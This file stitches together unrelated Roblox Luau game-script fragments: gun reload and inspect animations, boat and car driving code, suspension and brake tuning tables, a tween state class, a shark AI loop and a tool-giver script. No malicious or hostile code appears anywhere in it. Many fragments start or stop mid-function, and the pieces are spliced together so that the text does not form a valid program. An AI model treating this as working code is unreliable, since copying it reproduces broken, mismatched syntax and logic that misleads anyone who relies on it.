objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -0.9) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.75, 0.35, 0.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(90))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- if seat.Steer == 1 then -- bg.CFrame = bg.CFrame * CFrame.Angles(0,-.05,0) -- elseif seat.Steer == -1 then -- bg.CFrame = bg.CFrame * CFrame.Angles(0,.05,0) -- end
IfOnLand() end if script.Parent then script.Parent.PrimaryPart.WaterMove.Volume = 0 script.Parent.PrimaryPart.WaterMove:Stop() end end seat.ChildAdded:connect(function(object) local p = game.Players:FindFirstChild(object.Part1.Parent.Name) if p then DriveEnabled = true StartEngine() end end) seat.ChildRemoved:connect(function(object) if object:IsA'Weld' then DriveEnabled = false lastLodged = tick() wait(0.3) Speed = 0
--[[Steering]]
Tune.RWS = 1/4 --rear wheel steer ratio Tune.RWSCO = 40 --RWS cutoff speed Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 36 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .065 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .12 -- Steering increment per tick (in degrees) Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--[[ Called when the goal state changes value; this will initiate a new tween. Returns false as the current value doesn't change right away. ]]
function class:update(): boolean local goalValue = self._goalState:get(false) -- if the goal hasn't changed, then this is a TweenInfo change. -- in that case, if we're not currently animating, we can skip everything if goalValue == self._nextValue and not self._currentlyAnimating then return false end local tweenInfo = self._tweenInfo if self._tweenInfoIsState then tweenInfo = tweenInfo:get() end -- if we receive a bad TweenInfo, then error and stop the update if typeof(tweenInfo) ~= "TweenInfo" then warn("mistypedTweenInfo", typeof(tweenInfo)) return false end self._prevValue = self._currentValue self._nextValue = goalValue self._currentTweenStartTime = os.clock() self._currentTweenInfo = tweenInfo local tweenDuration = tweenInfo.DelayTime + tweenInfo.Time if tweenInfo.Reverses then tweenDuration += tweenInfo.Time end tweenDuration *= tweenInfo.RepeatCount + 1 self._currentTweenDuration = tweenDuration -- start animating this tween TweenScheduler.add(self) return false end local function Tween<T>( goalState, tweenInfo: TweenInfo? ) local currentValue = goalState:get(false) -- apply defaults for tween info if not tweenInfo then tweenInfo = TweenInfo.new() end local dependencySet = {[goalState] = true} local tweenInfoIsState = xtypeof(tweenInfo) == "State" if tweenInfoIsState then dependencySet[tweenInfo] = true end local startingTweenInfo = tweenInfo if tweenInfoIsState then startingTweenInfo = startingTweenInfo:get() end -- If we start with a bad TweenInfo, then we don't want to construct a Tween if typeof(startingTweenInfo) ~= "TweenInfo" then Dependencies.utility.parseError("mistypedTweenInfo", nil, typeof(startingTweenInfo)) end local self = setmetatable({ type = "State", kind = "Tween", dependencySet = dependencySet, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _goalState = goalState, _tweenInfo = tweenInfo, _tweenInfoIsState = tweenInfoIsState, _prevValue = currentValue, _nextValue = currentValue, _currentValue = currentValue, -- store current tween into separately from 'real' tween into, so it -- isn't affected by :setTweenInfo() until next change _currentTweenInfo = tweenInfo, _currentTweenDuration = 0, _currentTweenStartTime = 0, _currentlyAnimating = false }, CLASS_METATABLE) -- add this object to the goal state's dependent set goalState.dependentSet[self] = true return self end return Tween
--[=[ Gets the lua type for the given class name @param valueBaseClassName string @return string? ]=]
function ValueBaseUtils.getValueBaseType(valueBaseClassName) return VALUE_BASE_TYPE_LOOKUP[valueBaseClassName] end
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Door.Key1 -- You CAN change the name in the quotes "Example Tool"
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusDamping = 70 -- Spring Dampening Tune.FSusStiffness = 7000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 70 -- Spring Dampening Tune.RSusStiffness = 7000 -- Spring Force Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[Rurka]
pala1 = script.Parent.Parent.Part1 legansio = false pala2 = script.Parent.Parent.Part2 legansio = false pala3 = script.Parent.Parent.Part3 legansio = false pala4 = script.Parent.Parent.Part4 legansio = false pala5 = script.Parent.Parent.Part5 legansio = false pala6 = script.Parent.Parent.Part6 legansio = false pala7 = script.Parent.Parent.Part7 legansio = false
-- change y height of shark
end end end if stance == "wander" then scanInterval = 1 target = nil MakeAMove() elseif stance == "attack" then scanInterval = .1 MakeAMove() end wait(scanInterval) end -- end of wtd end) scanSurroundings()
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 3500 -- Front brake force Tune.RBrakeForce = 3500 -- Rear brake force Tune.PBrakeForce = 8000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[=[ @within Mouse @prop LeftDown Signal @tag Event ]=] --[=[ @within Mouse @prop LeftUp Signal @tag Event ]=] --[=[ @within Mouse @prop RightDown Signal @tag Event ]=] --[=[ @within Mouse @prop RightUp Signal @tag Event ]=] --[=[ @within Mouse @prop Scrolled Signal<number> @tag Event ```lua mouse.Scrolled:Connect(function(scrollAmount) ... end) ``` ]=]
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) objs[6]:WaitForChild('MagIn'):Play() TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.4) MagC:Destroy() objs[4].Transparency = 0 end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.4) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.2) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
-- BLOOXERindisguise
local debounce = false function getPlayer(humanoid) local players = game.Players:children() for i = 1, #players do if players[i].Character.Humanoid == humanoid then return players[i] end end return nil end function onTouch(part) local human = part.Parent:findFirstChild("Humanoid") if (human ~= nil) and debounce == false then debounce = true local player = getPlayer(human) if (player == nil) then return end script.Parent:clone().Parent = player.Backpack script.Parent:clone().Parent = player.StarterGear wait(2) debounce = false end end script.Parent.Parent.Touched:connect(onTouch)